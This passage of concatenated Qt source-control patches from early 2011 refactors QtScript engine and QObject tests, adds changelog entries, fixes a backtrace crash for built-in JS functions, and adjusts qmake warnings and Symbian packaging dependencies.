+ eng->setAgent(agent); + QCOMPARE(eng->agent(), (QScriptEngineAgent*)agent); + delete agent; + QCOMPARE(eng->agent(), (QScriptEngineAgent*)0); + eng->evaluate("(function(){ return 123; })()"); + delete eng; +} + +void tst_QScriptEngine::getSetAgent_differentEngine() +{ + QScriptEngine eng; + QScriptEngine eng2; + TestAgent *agent = new TestAgent(&eng); + QTest::ignoreMessage(QtWarningMsg, "QScriptEngine::setAgent(): cannot set agent belonging to different engine"); + eng2.setAgent(agent); + QCOMPARE(eng2.agent(), (QScriptEngineAgent*)0); +} + +void tst_QScriptEngine::reentrancy_stringHandles() +{ + QScriptEngine eng1; + QScriptEngine eng2; + QScriptString s1 = eng1.toStringHandle("foo"); + QScriptString s2 = eng2.toStringHandle("foo"); + QVERIFY(s1 != s2); +} + +void tst_QScriptEngine::reentrancy_processEventsInterval() +{ + QScriptEngine eng1; + QScriptEngine eng2; + eng1.setProcessEventsInterval(123); + QCOMPARE(eng2.processEventsInterval(), -1); + eng2.setProcessEventsInterval(456); + QCOMPARE(eng1.processEventsInterval(), 123); +} + +void tst_QScriptEngine::reentrancy_typeConversion() +{ + QScriptEngine eng1; + QScriptEngine eng2; + qScriptRegisterMetaType(&eng1, fooToScriptValue, fooFromScriptValue); + Foo foo; + foo.x = 12; + foo.y = 34; { - QScriptEngine eng1; - QScriptEngine eng2; - QScriptString s1 = eng1.toStringHandle("foo"); - QScriptString s2 = eng2.toStringHandle("foo"); - QVERIFY(s1 != s2); - } - { - QScriptEngine eng1; - QScriptEngine eng2; - eng1.setProcessEventsInterval(123); - QCOMPARE(eng2.processEventsInterval(), -1); - eng2.setProcessEventsInterval(456); - QCOMPARE(eng1.processEventsInterval(), 123); + QScriptValue fooVal = qScriptValueFromValue(&eng1, foo); + QVERIFY(fooVal.isObject()); + QVERIFY(!fooVal.isVariant()); + QCOMPARE(fooVal.property("x").toInt32(), 12); + QCOMPARE(fooVal.property("y").toInt32(), 34); + fooVal.setProperty("x", 56); + fooVal.setProperty("y", 78); + + Foo foo2 = qScriptValueToValue(fooVal); + QCOMPARE(foo2.x, 56); + QCOMPARE(foo2.y, 78); } { - QScriptEngine eng1; - QScriptEngine eng2; - qScriptRegisterMetaType(&eng1, fooToScriptValue, fooFromScriptValue); - Foo foo; - foo.x = 12; - foo.y = 34; - { - QScriptValue fooVal = qScriptValueFromValue(&eng1, foo); - QVERIFY(fooVal.isObject()); - QVERIFY(!fooVal.isVariant()); - QCOMPARE(fooVal.property("x").toInt32(), 12); - QCOMPARE(fooVal.property("y").toInt32(), 34); - fooVal.setProperty("x", 56); - fooVal.setProperty("y", 78); - - Foo foo2 = qScriptValueToValue(fooVal); - QCOMPARE(foo2.x, 56); - QCOMPARE(foo2.y, 78); - } - { - QScriptValue fooVal = qScriptValueFromValue(&eng2, foo); - QVERIFY(fooVal.isVariant()); + QScriptValue fooVal = qScriptValueFromValue(&eng2, foo); + QVERIFY(fooVal.isVariant()); - Foo foo2 = qScriptValueToValue(fooVal); - QCOMPARE(foo2.x, 12); - QCOMPARE(foo2.y, 34); - } - QVERIFY(!eng1.defaultPrototype(qMetaTypeId()).isValid()); - QVERIFY(!eng2.defaultPrototype(qMetaTypeId()).isValid()); - QScriptValue proto1 = eng1.newObject(); - eng1.setDefaultPrototype(qMetaTypeId(), proto1); - QVERIFY(!eng2.defaultPrototype(qMetaTypeId()).isValid()); - QScriptValue proto2 = eng2.newObject(); - eng2.setDefaultPrototype(qMetaTypeId(), proto2); - QVERIFY(eng2.defaultPrototype(qMetaTypeId()).isValid()); - QVERIFY(eng1.defaultPrototype(qMetaTypeId()).strictlyEquals(proto1)); - } - { - QScriptEngine eng1; - QScriptEngine eng2; - QVERIFY(!eng2.globalObject().property("a").isValid()); - eng1.evaluate("a = 10"); - QVERIFY(eng1.globalObject().property("a").isNumber()); - QVERIFY(!eng2.globalObject().property("a").isValid()); - eng2.evaluate("a = 20"); - QVERIFY(eng2.globalObject().property("a").isNumber()); - QCOMPARE(eng1.globalObject().property("a").toInt32(), 10); + Foo foo2 = qScriptValueToValue(fooVal); + QCOMPARE(foo2.x, 12); + QCOMPARE(foo2.y, 34); } + QVERIFY(!eng1.defaultPrototype(qMetaTypeId()).isValid()); + QVERIFY(!eng2.defaultPrototype(qMetaTypeId()).isValid()); + QScriptValue proto1 = eng1.newObject(); + eng1.setDefaultPrototype(qMetaTypeId(), proto1); + QVERIFY(!eng2.defaultPrototype(qMetaTypeId()).isValid()); + QScriptValue proto2 = eng2.newObject(); + eng2.setDefaultPrototype(qMetaTypeId(), proto2); + QVERIFY(eng2.defaultPrototype(qMetaTypeId()).isValid()); + QVERIFY(eng1.defaultPrototype(qMetaTypeId()).strictlyEquals(proto1)); +} + +void tst_QScriptEngine::reentrancy_globalObjectProperties() +{ + QScriptEngine eng1; + QScriptEngine eng2; + QVERIFY(!eng2.globalObject().property("a").isValid()); + eng1.evaluate("a = 10"); + QVERIFY(eng1.globalObject().property("a").isNumber()); + QVERIFY(!eng2.globalObject().property("a").isValid()); + eng2.evaluate("a = 20"); + QVERIFY(eng2.globalObject().property("a").isNumber()); + QCOMPARE(eng1.globalObject().property("a").toInt32(), 10); +} + +void tst_QScriptEngine::reentrancy_Array() +{ // weird bug with JSC backend { QScriptEngine eng; @@ -4540,79 +4722,82 @@ void tst_QScriptEngine::reentrancy() QScriptEngine eng; QCOMPARE(eng.evaluate("Array()").toString(), QString()); } +} +void tst_QScriptEngine::reentrancy_objectCreation() +{ + QScriptEngine eng1; + QScriptEngine eng2; { - QScriptEngine eng1; - QScriptEngine eng2; - { - QScriptValue d1 = eng1.newDate(0); - QScriptValue d2 = eng2.newDate(0); - QCOMPARE(d1.toDateTime(), d2.toDateTime()); - QCOMPARE(d2.toDateTime(), d1.toDateTime()); - } - { - QScriptValue r1 = eng1.newRegExp("foo", "gim"); - QScriptValue r2 = eng2.newRegExp("foo", "gim"); - QCOMPARE(r1.toRegExp(), r2.toRegExp()); - QCOMPARE(r2.toRegExp(), r1.toRegExp()); - } - { - QScriptValue o1 = eng1.newQObject(this); - QScriptValue o2 = eng2.newQObject(this); - QCOMPARE(o1.toQObject(), o2.toQObject()); - QCOMPARE(o2.toQObject(), o1.toQObject()); - } - { - QScriptValue mo1 = eng1.newQMetaObject(&staticMetaObject); - QScriptValue mo2 = eng2.newQMetaObject(&staticMetaObject); - QCOMPARE(mo1.toQMetaObject(), mo2.toQMetaObject()); - QCOMPARE(mo2.toQMetaObject(), mo1.toQMetaObject()); - } + QScriptValue d1 = eng1.newDate(0); + QScriptValue d2 = eng2.newDate(0); + QCOMPARE(d1.toDateTime(), d2.toDateTime()); + QCOMPARE(d2.toDateTime(), d1.toDateTime()); + } + { + QScriptValue r1 = eng1.newRegExp("foo", "gim"); + QScriptValue r2 = eng2.newRegExp("foo", "gim"); + QCOMPARE(r1.toRegExp(), r2.toRegExp()); + QCOMPARE(r2.toRegExp(), r1.toRegExp()); + } + { + QScriptValue o1 = eng1.newQObject(this); + QScriptValue o2 = eng2.newQObject(this); + QCOMPARE(o1.toQObject(), o2.toQObject()); + QCOMPARE(o2.toQObject(), o1.toQObject()); + } + { + QScriptValue mo1 = eng1.newQMetaObject(&staticMetaObject); + QScriptValue mo2 = eng2.newQMetaObject(&staticMetaObject); + QCOMPARE(mo1.toQMetaObject(), mo2.toQMetaObject()); + QCOMPARE(mo2.toQMetaObject(), mo1.toQMetaObject()); } } -void tst_QScriptEngine:: incDecNonObjectProperty() +void tst_QScriptEngine::jsIncDecNonObjectProperty() { + // This is testing ECMA-262 compliance, not C++ API. + QScriptEngine eng; { QScriptValue ret = eng.evaluate("var a; a.n++"); QVERIFY(ret.isError()); - QCOMPARE(ret.toString(), QString::fromLatin1("TypeError: Result of expression 'a' [undefined] is not an object.")); + QVERIFY(ret.toString().contains(QString::fromLatin1("TypeError"))); } { QScriptValue ret = eng.evaluate("var a; a.n--"); QVERIFY(ret.isError()); - QCOMPARE(ret.toString(), QString::fromLatin1("TypeError: Result of expression 'a' [undefined] is not an object.")); + QVERIFY(ret.toString().contains(QString::fromLatin1("TypeError"))); } { QScriptValue ret = eng.evaluate("var a = null; a.n++"); QVERIFY(ret.isError()); - QCOMPARE(ret.toString(), QString::fromLatin1("TypeError: Result of expression 'a' [null] is not an object.")); + QVERIFY(ret.toString().contains(QString::fromLatin1("TypeError"))); } { QScriptValue ret = eng.evaluate("var a = null; a.n--"); QVERIFY(ret.isError()); - QCOMPARE(ret.toString(), QString::fromLatin1("TypeError: Result of expression 'a' [null] is not an object.")); + QVERIFY(ret.toString().contains(QString::fromLatin1("TypeError"))); } { QScriptValue ret = eng.evaluate("var a; ++a.n"); QVERIFY(ret.isError()); - QCOMPARE(ret.toString(), QString::fromLatin1("TypeError: Result of expression 'a' [null] is not an object.")); + QVERIFY(ret.toString().contains(QString::fromLatin1("TypeError"))); } { QScriptValue ret = eng.evaluate("var a; --a.n"); QVERIFY(ret.isError()); - QCOMPARE(ret.toString(), QString::fromLatin1("TypeError: Result of expression 'a' [null] is not an object.")); + QVERIFY(ret.toString().contains(QString::fromLatin1("TypeError"))); } { QScriptValue ret = eng.evaluate("var a; a.n += 1"); QVERIFY(ret.isError()); - QCOMPARE(ret.toString(), QString::fromLatin1("TypeError: Result of expression 'a' [null] is not an object.")); + QVERIFY(ret.toString().contains(QString::fromLatin1("TypeError"))); } { QScriptValue ret = eng.evaluate("var a; a.n -= 1"); QVERIFY(ret.isError()); - QCOMPARE(ret.toString(), QString::fromLatin1("TypeError: Result of expression 'a' [null] is not an object.")); + QVERIFY(ret.toString().contains(QString::fromLatin1("TypeError"))); } { QScriptValue ret = eng.evaluate("var a = 'ciao'; a.length++"); @@ -5436,6 +5621,7 @@ void tst_QScriptEngine::collectGarbageAfterConnect() .isUndefined()); QVERIFY(widget != 0); engine.evaluate("widget = null;"); + // The connection should not keep the widget alive. collectGarbage_helper(engine); QVERIFY(widget == 0); } @@ -5599,6 +5785,17 @@ void tst_QScriptEngine::reentrency() void tst_QScriptEngine::newFixedStaticScopeObject() { + // "Static scope objects" is an optimization we do for QML. + // It enables the creation of JS objects that can guarantee to the + // compiler that no properties will be added or removed. This enables + // the compiler to generate a very simple (fast) property access, as + // opposed to a full virtual lookup. Due to the inherent use of scope + // chains in QML, this can make a huge difference (10x improvement for + // benchmark in QTBUG-8576). + // Ideally we would not need a special object type for this, and the + // VM would dynamically optimize it to be fast... + // See also QScriptEngine benchmark. + QScriptEngine eng; static const int propertyCount = 4; QString names[] = { "foo", "bar", "baz", "Math" }; @@ -5739,6 +5936,11 @@ void tst_QScriptEngine::newFixedStaticScopeObject() void tst_QScriptEngine::newGrowingStaticScopeObject() { + // The main use case for a growing static scope object is to set it as + // the activation object of a QScriptContext, so that all JS variable + // declarations end up in that object. It needs to be "growable" since + // we don't know in advance how many variables a script will declare. + QScriptEngine eng; QScriptValue scope = QScriptDeclarativeClass::newStaticScopeObject(&eng); @@ -5826,10 +6028,10 @@ void tst_QScriptEngine::newGrowingStaticScopeObject() { QScriptValue fun = eng.evaluate("(function() { return futureProperty; })"); QVERIFY(fun.isFunction()); - QCOMPARE(fun.call().toString(), QString::fromLatin1("ReferenceError: Can't find variable: futureProperty")); + QVERIFY(fun.call().toString().contains(QString::fromLatin1("ReferenceError"))); scope.setProperty("futureProperty", "added after the function was compiled"); // If scope were dynamic, this would return the new property. - QCOMPARE(fun.call().toString(), QString::fromLatin1("ReferenceError: Can't find variable: futureProperty")); + QVERIFY(fun.call().toString().contains(QString::fromLatin1("ReferenceError"))); } eng.popContext(); -- cgit v0.12 From da48bbe66b7821416bee1ebc0215bc93e68f0a2a Mon Sep 17 00:00:00 2001 From: Kent Hansen Date: Wed, 2 Feb 2011 15:45:08 +0100 Subject: Split QScriptQObject test into smaller functions It could be split further (and with more descriptive names), but this is a start, at least. Task-number: QTBUG-16746 Reviewed-by: Jedrzej Nowacki --- .../qscriptextqobject/tst_qscriptextqobject.cpp | 46 ++++++++++++++++++++-- 1 file changed, 42 insertions(+), 4 deletions(-) diff --git a/tests/auto/qscriptextqobject/tst_qscriptextqobject.cpp b/tests/auto/qscriptextqobject/tst_qscriptextqobject.cpp index cb29586..1607bed 100644 --- a/tests/auto/qscriptextqobject/tst_qscriptextqobject.cpp +++ b/tests/auto/qscriptextqobject/tst_qscriptextqobject.cpp @@ -549,10 +549,19 @@ private slots: void getSetDynamicProperty_doNotHideJSProperty(); void getSetChildren(); void callQtInvokable(); + void callQtInvokable2(); + void callQtInvokable3(); + void callQtInvokable4(); + void callQtInvokable5(); + void callQtInvokable6(); + void callQtInvokable7(); void connectAndDisconnect(); + void connectAndDisconnect_emitFromJS(); + void connectAndDisconnect_senderWrapperCollected(); void connectAndDisconnectWithBadArgs(); void connectAndDisconnect_senderDeleted(); void cppConnectAndDisconnect(); + void cppConnectAndDisconnect2(); void classEnums(); void classConstructor(); void overrideInvokable(); @@ -1270,7 +1279,10 @@ void tst_QScriptExtQObject::callQtInvokable() QCOMPARE(m_myObject->qtFunctionActuals().size(), 2); QCOMPARE(m_myObject->qtFunctionActuals().at(0).toInt(), 123); QCOMPARE(m_myObject->qtFunctionActuals().at(1).toInt(), 456); +} +void tst_QScriptExtQObject::callQtInvokable2() +{ m_myObject->resetQtFunctionInvoked(); QVERIFY(m_engine->evaluate("myObject.myInvokableWithVoidStarArg(null)").isUndefined()); QCOMPARE(m_myObject->qtFunctionInvoked(), 44); @@ -1359,7 +1371,10 @@ void tst_QScriptExtQObject::callQtInvokable() QCOMPARE(ret.isArray(), true); QCOMPARE(m_myObject->qtFunctionInvoked(), 11); } +} +void tst_QScriptExtQObject::callQtInvokable3() +{ { QScriptValue ret = m_engine->evaluate("myObject.myInvokableWithVectorOfIntArg(myObject.myInvokableReturningVectorOfInt())"); QCOMPARE(ret.isUndefined(), true); @@ -1485,7 +1500,10 @@ void tst_QScriptExtQObject::callQtInvokable() QCOMPARE(ret.property("0").strictlyEquals(QScriptValue(m_engine, 1)), true); QCOMPARE(ret.property("1").strictlyEquals(QScriptValue(m_engine, 5)), true); } +} +void tst_QScriptExtQObject::callQtInvokable4() +{ m_myObject->resetQtFunctionInvoked(); { QScriptValue ret = m_engine->evaluate("myObject.myInvokableWithQObjectStarArg(myObject)"); @@ -1571,7 +1589,10 @@ void tst_QScriptExtQObject::callQtInvokable() QCOMPARE(v.userType(), int(QMetaType::ULongLong)); QCOMPARE(qvariant_cast(v), qulonglong(123)); } +} +void tst_QScriptExtQObject::callQtInvokable5() +{ m_myObject->resetQtFunctionInvoked(); { QScriptValue fun = m_engine->evaluate("myObject.myInvokableWithQBrushArg"); @@ -1659,7 +1680,10 @@ void tst_QScriptExtQObject::callQtInvokable() QCOMPARE(m_myObject->qtFunctionActuals().size(), 1); QCOMPARE(qvariant_cast(m_myObject->qtFunctionActuals().at(0)), (QObject*)m_myObject); } +} +void tst_QScriptExtQObject::callQtInvokable6() +{ // QScriptValue arguments should be passed on without conversion m_myObject->resetQtFunctionInvoked(); { @@ -1723,18 +1747,21 @@ void tst_QScriptExtQObject::callQtInvokable() QCOMPARE(m_myObject->qtFunctionInvoked(), 55); } } +} +void tst_QScriptExtQObject::callQtInvokable7() +{ // qscript_call() { m_myObject->resetQtFunctionInvoked(); QScriptValue ret = m_engine->evaluate("new myObject(123)"); QVERIFY(ret.isError()); - QCOMPARE(ret.toString(), QString::fromLatin1("TypeError: Result of expression 'myObject' [MyQObject(name = \"\")] is not a constructor.")); + QVERIFY(ret.toString().contains(QString::fromLatin1("TypeError"))); } { m_myObject->resetQtFunctionInvoked(); QScriptValue ret = m_engine->evaluate("myObject(123)"); - QCOMPARE(ret.toString(), QString::fromLatin1("TypeError: Result of expression 'myObject' [MyQObject(name = \"\")] is not a function.")); + QVERIFY(ret.toString().contains(QString::fromLatin1("TypeError"))); } // task 233624 @@ -1971,9 +1998,10 @@ void tst_QScriptExtQObject::connectAndDisconnect() QVERIFY(m_engine->evaluate("myObject.mySignal.connect(myObject, 'mySlot')").isUndefined()); QVERIFY(m_engine->evaluate("myObject.mySignal.disconnect(yetAnotherObject, 'func')").isUndefined()); QVERIFY(m_engine->evaluate("myObject.mySignal.disconnect(myObject, 'mySlot')").isUndefined()); +} - // check that emitting signals from script works - +void tst_QScriptExtQObject::connectAndDisconnect_emitFromJS() +{ // no arguments QVERIFY(m_engine->evaluate("myObject.mySignal.connect(myObject.mySlot)").isUndefined()); m_myObject->resetQtFunctionInvoked(); @@ -2022,7 +2050,10 @@ void tst_QScriptExtQObject::connectAndDisconnect() QCOMPARE(m_myObject->qtFunctionActuals().size(), 1); QCOMPARE(m_myObject->qtFunctionActuals().at(0).toInt(), 456); QVERIFY(m_engine->evaluate("myObject.mySignalWithIntArg.disconnect(myObject['myOverloadedSlot(int)'])").isUndefined()); +} +void tst_QScriptExtQObject::connectAndDisconnect_senderWrapperCollected() +{ // when the wrapper dies, the connection stays alive QVERIFY(m_engine->evaluate("myObject.mySignal.connect(myObject.mySlot)").isUndefined()); m_myObject->resetQtFunctionInvoked(); @@ -2210,7 +2241,14 @@ void tst_QScriptExtQObject::cppConnectAndDisconnect() QVERIFY(!qScriptDisconnect(&edit2, SIGNAL(textChanged(const QString &)), receiver, fun)); } } +} +void tst_QScriptExtQObject::cppConnectAndDisconnect2() +{ + QScriptEngine eng; + QLineEdit edit; + QLineEdit edit2; + QScriptValue fun = eng.evaluate("function fun(text) { signalObject = this; signalArg = text; }; fun"); // make sure we don't crash when engine is deleted { QScriptEngine *eng2 = new QScriptEngine; -- cgit v0.12 From 940d30e9cd76e9b98dd04c2e25a27b6a90bb34b9 Mon Sep 17 00:00:00 2001 From: Miikka Heikkinen Date: Thu, 3 Feb 2011 13:06:04 +0200 Subject: My changes 4.7.2 Reviewed-by: TrustMe --- dist/changes-4.7.2 | 62 ++++++++++++++++++++++++++++++++++++++++++++++++++++-- 1 file changed, 60 insertions(+), 2 deletions(-) diff --git a/dist/changes-4.7.2 b/dist/changes-4.7.2 index 0d93052..d351856 100644 --- a/dist/changes-4.7.2 +++ b/dist/changes-4.7.2 @@ -134,8 +134,63 @@ Qt for Symbian specify which Internet Access Point should be used for streaming. - QNetworkProxyFactory - * [QTBUG-13857] Added systemProxyForQuery() for Symbian, allowing - network proxies configured on the device to be used by applications. + * [QTBUG-13857] Added systemProxyForQuery() for Symbian, allowing + network proxies configured on the device to be used by applications. + + - QApplication + * [QTBUG-15915] Fix crash when creating more than one QApplication in single test case. + + - QDesktopWidget + * [QTBUG-16095] Resize event for QDesktopWidget was sent too early. + + - QFileDialog + * [QTBUG-16204] Fix using QFileDialog statics in Symbian. + + - QDialog + * [QTBUG-16277] Fix fullscreen/Maximized dialog misplacement in Symbian. + + - QSystemSemaphore + * [QTBUG-16615] Fix QSystemSemaphore handle management issues in Symbian. + + - QLineEdit + * [QTBUG-16238] Fix one character displacement for cursor in line edits. + + - qmake & mkspecs + * [QT-4193] Only add ICON for application projects in symbianpkgrules.pri + * [QTBUG-13159] Allow pkg_prerules and pkg_postrules to be targeted to separate files. + * [QTBUG-13367] Make default application deployment removable & added .flags modifier + support for DEPLOYMENT items in Symbian. + * [QTBUG-14280] Implement support for DEPLOYMENT.display_name in Symbian. + * [QTBUG-13917] Localize .loc and .pkg content based on TRANSLATIONS. + * [QTBUG-15159] Use include(original mkspec) instead of copying of mkspec to default. + * [QTBUG-15393] Resolve EPOCROOT in qt.conf using same logic as in .pro. + * [QTBUG-15501] Fix symbian-mmp.conf include path. + * [QTBUG-15539] Use parent class function to generate Makefile headers in Symbian. + * [QTBUG-14472] Add NetworkServices capability automatically for network apps + * [QTBUG-14736] Add libinfix support for QML plugins in Symbian. + * [QT-4375] Fix incorrect file name case for OpenGL libraries in symbian.conf. + * [QTBUG-16172] Use relative include instead of absolute in default qmake.conf. + * [QTBUG-16221] Fix libinfixed usage in Symbian when def files are used. + * [QTBUG-16261] Fix infinite loop in qmake when reading malformed .ts files. + * [QTBUG-16298] Ignore static_and_shared in Symbian builds. + * [QTBUG-13769] Generate freeze targets in Symbian. + * [QTBUG-16691] Remove toolcheck from generic clean targets for symbian-sbsv2. + * [QT-4476] Fixed UTF-8 application names in device application menu in Symbian. + * [QTBUG-16753] Improved QMAKE_POST_LINK support in symbian-sbsv2. + * [QTBUG-16881] Fix QMAKE_POST_LINK in Symbian for targets with special characters. + * [QTBUG-16888] No longer replace dash and dot in TARGET with underscore in Symbian. + * Fix partial upgrade package UID for libinfixed Qt. + * Cleaned up sis_targets.prf. + + - Tool scripts + * [QTBUG-13886] Disallow patching capabilities of executables. + * [QTBUG-13891] Add Location as self signable capability in patch_capabilities.pl. + * [QTBUG-15561] Only patch package content that is necessary for self-signing. + * Fix epocroot handling in createpackage.pl script. + * Unify epocroot usage in createpackage and patch_capabilities scripts. + + - qtmain.lib + * [QTBUG-14735] Use qtmain.lib to provide entry point for all Symbian applications. Qt for Embedded Linux --------------------- @@ -165,6 +220,9 @@ Qt for Windows CE - Linguist * baz + - qmake + * [QTBUG-14357] Make qmake to pass all UTF-8 characters unchanged through parser. + **************************************************************************** * Important Behavior Changes * **************************************************************************** -- cgit v0.12 From 147df10403ba280b3f04c1e3d6c4b1cf386abe5d Mon Sep 17 00:00:00 2001 From: Kent Hansen Date: Thu, 3 Feb 2011 12:28:27 +0100 Subject: Don't crash when creating backtrace for built-in JS function When the JIT is enabled, NativeFunctionWrapper (used for built-in functions such as Array.prototype.forEach) inherits JSFunction, so we must check whether the function is actually a JS (script) function before we start accessing script-specific properties. Task-number: QTBUG-17137 Reviewed-by: Olivier Goffart --- src/script/api/qscriptcontextinfo.cpp | 3 ++- tests/auto/qscriptcontext/tst_qscriptcontext.cpp | 15 +++++++++++++++ 2 files changed, 17 insertions(+), 1 deletion(-) diff --git a/src/script/api/qscriptcontextinfo.cpp b/src/script/api/qscriptcontextinfo.cpp index db6b2d7..d39abe6 100644 --- a/src/script/api/qscriptcontextinfo.cpp +++ b/src/script/api/qscriptcontextinfo.cpp @@ -181,7 +181,8 @@ QScriptContextInfoPrivate::QScriptContextInfoPrivate(const QScriptContext *conte JSC::JSObject *callee = frame->callee(); if (callee && callee->inherits(&JSC::InternalFunction::info)) functionName = JSC::asInternalFunction(callee)->name(frame); - if (callee && callee->inherits(&JSC::JSFunction::info)) { + if (callee && callee->inherits(&JSC::JSFunction::info) + && !JSC::asFunction(callee)->isHostFunction()) { functionType = QScriptContextInfo::ScriptFunction; JSC::FunctionExecutable *body = JSC::asFunction(callee)->jsExecutable(); functionStartLineNumber = body->lineNo(); diff --git a/tests/auto/qscriptcontext/tst_qscriptcontext.cpp b/tests/auto/qscriptcontext/tst_qscriptcontext.cpp index 1a1576b..dd21555 100644 --- a/tests/auto/qscriptcontext/tst_qscriptcontext.cpp +++ b/tests/auto/qscriptcontext/tst_qscriptcontext.cpp @@ -860,6 +860,21 @@ void tst_QScriptContext::backtrace_data() QTest::newRow("js recursive") << source << expected; } + + { + QString source = QString::fromLatin1( + "[0].forEach(\n" + " function() {\n" + " result = bt();\n" + "}); result"); + + QStringList expected; + expected << "() at -1" + << "(0, 0, 0) at testfile:3" + << "forEach(0) at -1" + << "() at testfile:4"; + QTest::newRow("js callback from built-in") << source << expected; + } } -- cgit v0.12 From 71eb2bd23604d9c809f143496f781c1d5c065473 Mon Sep 17 00:00:00 2001 From: Oswald Buddenhagen Date: Fri, 28 Jan 2011 17:46:30 +0100 Subject: move multiple inclusion check for feature files to correct location previously, features specified with an absolute path would not be covered by the multiple inclusion guard, unlike the one specified just by a name. this is of theoretical value only, as nobody specifies features via absolute path anyway ... Reviewed-by: mariusSO --- qmake/project.cpp | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/qmake/project.cpp b/qmake/project.cpp index 8d8d9e0..4e2d743 100644 --- a/qmake/project.cpp +++ b/qmake/project.cpp @@ -1681,10 +1681,10 @@ QMakeProject::doProjectInclude(QString file, uchar flags, QMap Date: Fri, 28 Jan 2011 17:51:22 +0100 Subject: use const ref Reviewed-by: mariusSO --- qmake/project.cpp | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/qmake/project.cpp b/qmake/project.cpp index 4e2d743..1a13639 100644 --- a/qmake/project.cpp +++ b/qmake/project.cpp @@ -228,7 +228,7 @@ static QString varMap(const QString &x) return ret; } -static QStringList split_arg_list(QString params) +static QStringList split_arg_list(const QString ¶ms) { int quote = 0; QStringList args; -- cgit v0.12 From dbfca8da2807921069c0e53da33f6e7bd3e73479 Mon Sep 17 00:00:00 2001 From: Oswald Buddenhagen Date: Fri, 28 Jan 2011 18:03:16 +0100 Subject: complain about unmatched quotes/parens using WarnDeprecated instead of WarnParser is a bit backwards, but we need something which is on by default and i don't feel like introducing a second parser warning mode for that. Reviewed-by: mariusSO --- qmake/project.cpp | 13 ++++++++++++- 1 file changed, 12 insertions(+), 1 deletion(-) diff --git a/qmake/project.cpp b/qmake/project.cpp index 1a13639..9c99c44 100644 --- a/qmake/project.cpp +++ b/qmake/project.cpp @@ -280,6 +280,8 @@ static QStringList split_arg_list(const QString ¶ms) ++last; } } + // Could do a check for unmatched parens here, but split_value_list() + // is called on all our output, so mistakes will be caught anyway. return args; } @@ -288,6 +290,7 @@ static QStringList split_value_list(const QString &vals) QString build; QStringList ret; QStack quote; + int parens = 0; const ushort LPAREN = '('; const ushort RPAREN = ')'; @@ -298,7 +301,7 @@ static QStringList split_value_list(const QString &vals) ushort unicode; const QChar *vals_data = vals.data(); const int vals_len = vals.length(); - for(int x = 0, parens = 0; x < vals_len; x++) { + for(int x = 0; x < vals_len; x++) { unicode = vals_data[x].unicode(); if(x != (int)vals_len-1 && unicode == BACKSLASH && (vals_data[x+1].unicode() == SINGLEQUOTE || vals_data[x+1].unicode() == DOUBLEQUOTE)) { @@ -322,6 +325,11 @@ static QStringList split_value_list(const QString &vals) } if(!build.isEmpty()) ret << build; + if (parens) + warn_msg(WarnDeprecated, "%s:%d: Unmatched parentheses are deprecated.", + parser.file.toLatin1().constData(), parser.line_no); + // Could do a check for unmatched quotes here, but doVariableReplaceExpand() + // is called on all our output, so mistakes will be caught anyway. return ret; } @@ -2966,6 +2974,9 @@ QMakeProject::doVariableReplaceExpand(const QString &str, QMap Date: Thu, 3 Feb 2011 15:33:41 +0200 Subject: Remove dependencies to pre-Symbian3 platforms from Symbian3 packages Qt applications built against Symbian3 SDK will not run on older devices, so remove the platform dependency to those devices so that the user will get a proper warning if he tries to install incompatible software to an older device. Task-number: QTBUG-17187 Reviewed-by: Janne Koskinen --- mkspecs/features/symbian/default_post.prf | 14 ++++++++------ src/s60installs/s60installs.pro | 8 +------- 2 files changed, 9 insertions(+), 13 deletions(-) diff --git a/mkspecs/features/symbian/default_post.prf b/mkspecs/features/symbian/default_post.prf index ec6ecd0..126981e 100644 --- a/mkspecs/features/symbian/default_post.prf +++ b/mkspecs/features/symbian/default_post.prf @@ -53,14 +53,16 @@ isEmpty(TARGET.UID2) { } } -# Supports S60 3.1, 3.2, 5.0, Symbian^3, and Symbian^4 by default +# Supports Symbian^3 and Symbian^4 by default and also S60 3.1, 3.2, and 5.0 if built against any of those. platform_product_id = S60ProductID platform_product_id = $$addLanguageDependentPkgItem(platform_product_id) pkg_platform_dependencies = \ "; Default HW/platform dependencies" \ - "[0x102032BE],0,0,0,{$$platform_product_id}" \ - "[0x102752AE],0,0,0,{$$platform_product_id}" \ - "[0x1028315F],0,0,0,{$$platform_product_id}" \ "[0x20022E6D],0,0,0,{$$platform_product_id}" \ - "[0x20032DE7],0,0,0,{$$platform_product_id}" \ - " " + "[0x20032DE7],0,0,0,{$$platform_product_id}" +contains(S60_VERSION, 3.1)|contains(S60_VERSION, 3.2)|contains(S60_VERSION, 5.0) { + pkg_platform_dependencies += \ + "[0x102032BE],0,0,0,{$$platform_product_id}" \ + "[0x102752AE],0,0,0,{$$platform_product_id}" \ + "[0x1028315F],0,0,0,{$$platform_product_id}" +} diff --git a/src/s60installs/s60installs.pro b/src/s60installs/s60installs.pro index 5c89338..c282b1e 100644 --- a/src/s60installs/s60installs.pro +++ b/src/s60installs/s60installs.pro @@ -77,19 +77,13 @@ symbian: { "ENDIF" \ " \"$$bearerStubZ\" - \"c:$$replace(QT_PLUGINS_BASE_DIR,/,\\)\\bearer\\qsymbianbearer$${QT_LIBINFIX}.qtplugin\" } else { - # Restrict deployment to Symbian3 and later platforms - default_deployment.pkg_prerules -= pkg_platform_dependencies - platform_dependency_rules.pkg_prerules = \ - "[0x20022E6D],0,0,0,{\"S60ProductID\"}" \ - "[0x20032DE7],0,0,0,{\"S60ProductID\"}" - # No need to deploy plugins for older platform versions when building on Symbian3 or later qts60plugindeployment = \ " \"$$pluginLocations/qts60plugin_5_0$${QT_LIBINFIX}.dll\" - \"c:\\sys\\bin\\qts60plugin_5_0$${QT_LIBINFIX}.dll\"" bearer_plugin.sources = $$QT_BUILD_TREE/plugins/bearer/qsymbianbearer$${QT_LIBINFIX}.dll bearer_plugin.path = c:$$QT_PLUGINS_BASE_DIR/bearer - DEPLOYMENT += bearer_plugin platform_dependency_rules + DEPLOYMENT += bearer_plugin } qtlibraries.pkg_postrules += qts60plugindeployment -- cgit v0.12 From 08ec37f964361b9907292277f851de9e08032964 Mon Sep 17 00:00:00 2001 From: mread Date: Thu, 3 Feb 2011 10:29:28 +0000 Subject: Using QElapesedTimer for Symbian idle detector QElapsedTimer is used instead of QTime for event timing in Symbian's idle detector. Task-number: QTBUG-10120 Reviewed-by: Shane Kearns --- src/corelib/kernel/qeventdispatcher_symbian.cpp | 2 +- src/corelib/kernel/qeventdispatcher_symbian_p.h | 3 ++- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git 